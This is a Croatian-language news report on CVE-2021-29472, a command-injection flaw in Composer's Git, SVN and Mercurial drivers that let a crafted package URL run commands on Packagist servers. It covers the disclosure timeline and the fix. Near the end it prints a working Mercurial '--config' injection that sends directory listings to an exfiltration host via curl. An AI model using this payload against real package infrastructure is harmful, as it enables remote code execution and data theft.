Ranjivost u upravitelju paketima Composer koja omogućuje kompromitiranje Packagist PHP repozitorija

Prepoznata je kritična ranjivost (CVE-2021-29472) u upravitelju ovisnosti Composer koja omogućuje izvršavanje proizvoljnih naredbi u sustavu prilikom obrade paketa s posebno formatiranom URL vrijednošću koja navodi adresu za preuzimanje izvornog koda. Problem se javlja u komponentama GitDriver, SvnDriver i HgDriver koje se koriste pri korištenju sustava za kontrolu izvora Git, Subversion i Mercurial. Ranjivost je riješena u izdanjima Composer 1.10.22 i 2.0.13.

Posebno se napominje da je problem prvenstveno utjecao na Composerovo zadano spremište paketa, Packagist, koje sadrži 306 paketa za PHP programere i služi više od 1.4 milijarde preuzimanja mjesečno. Eksperiment je pokazao da ako postoji znanje o problemu, napadači mogu preuzeti kontrolu nad infrastrukturom Packagista i presresti vjerodajnice održavatelja ili preusmjeriti preuzimanje paketa na poslužitelj treće strane, organizirajući isporuku varijanti paketa sa zlonamjernim promjenama kako bi zamijenili backdoor tijekom procesa instalacije ovisnosti.

Opasnost za krajnje korisnike ograničena je na činjenicu da sadržaj composer.json obično određuje sam korisnik, a izvorne veze prenose se prilikom pristupa repozitoriju trećih strana, koji su obično pouzdani. Glavni udarac pao je na repozitorij Packagist.org i servis Private Packagist, koji je nazvao Composer s prijenosom podataka primljenih od korisnika. Napadači bi mogli izvršiti svoj kod na Packagist poslužiteljima postavljanjem posebno dizajniranog paketa.

Packagist tim je popravio ranjivost unutar 12 sati od prijave ranjivosti. Istraživači su privatno obavijestili programere Packagista 22. travnja, a problem je riješen isti dan. Javno ažuriranje Composer-a koje se bavi ranjivošću objavljeno je 27. travnja, a detalji su otkriveni 28. travnja. Revizija zapisa na Packagist poslužiteljima nije otkrila nikakvu sumnjivu aktivnost povezanu s ranjivošću.

Problem je uzrokovan greškom u kodu za provjeru valjanosti URL-a u korijenskoj datoteci composer.json i izvornim vezama za preuzimanje. Greška je prisutna u kodu od studenog 2011. Packagist koristi posebne slojeve za organiziranje učitavanja koda bez vezivanja za određeni sustav kontrole izvora, koji se izvršavaju pozivanjem "fromShellCommandline" i prosljeđivanjem argumenata naredbenog retka. Na primjer, za git se poziva naredba "git ls-remote -heads $URL", gdje se URL obrađuje pomoću metode "ProcessExecutor::escape($url)", izbjegavajući potencijalno opasne konstrukcije kao što je "$(. ..)" ili "` ...`".

Srž problema je u tome što metoda ProcessExecutor::escape nije izbjegla slijed “—”, što je omogućilo navođenje bilo kojeg dodatnog parametra poziva u URL-u. Takvo izbjegavanje nedostajalo je u upravljačkim programima GitDriver.php, SvnDriver.php i HgDriver.php. Napad GitDriver.php bio je ometen činjenicom da naredba “git ls-remote” nije podržavala navođenje dodatnih argumenata nakon staze. Ispostavilo se da je napad na HgDriver.php moguć prosljeđivanjem parametra “--config” uslužnom programu “hq”, koji vam omogućuje organiziranje izvršenja bilo koje naredbe manipuliranjem postavke “alias.identify”. Na primjer, za preuzimanje i izvršavanje koda pokretanjem uslužnog programa curl, možete navesti: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Objavljivanjem testnog paketa sa sličnim URL-om kao Packagist, istraživači su potvrdili da je nakon objave njihov poslužitelj primio HTTP zahtjev od jednog od Packagist poslužitelja u AWS-u koji sadrži popis datoteka u trenutnom direktoriju.

Izvor: opennet.ru

Dodajte komentar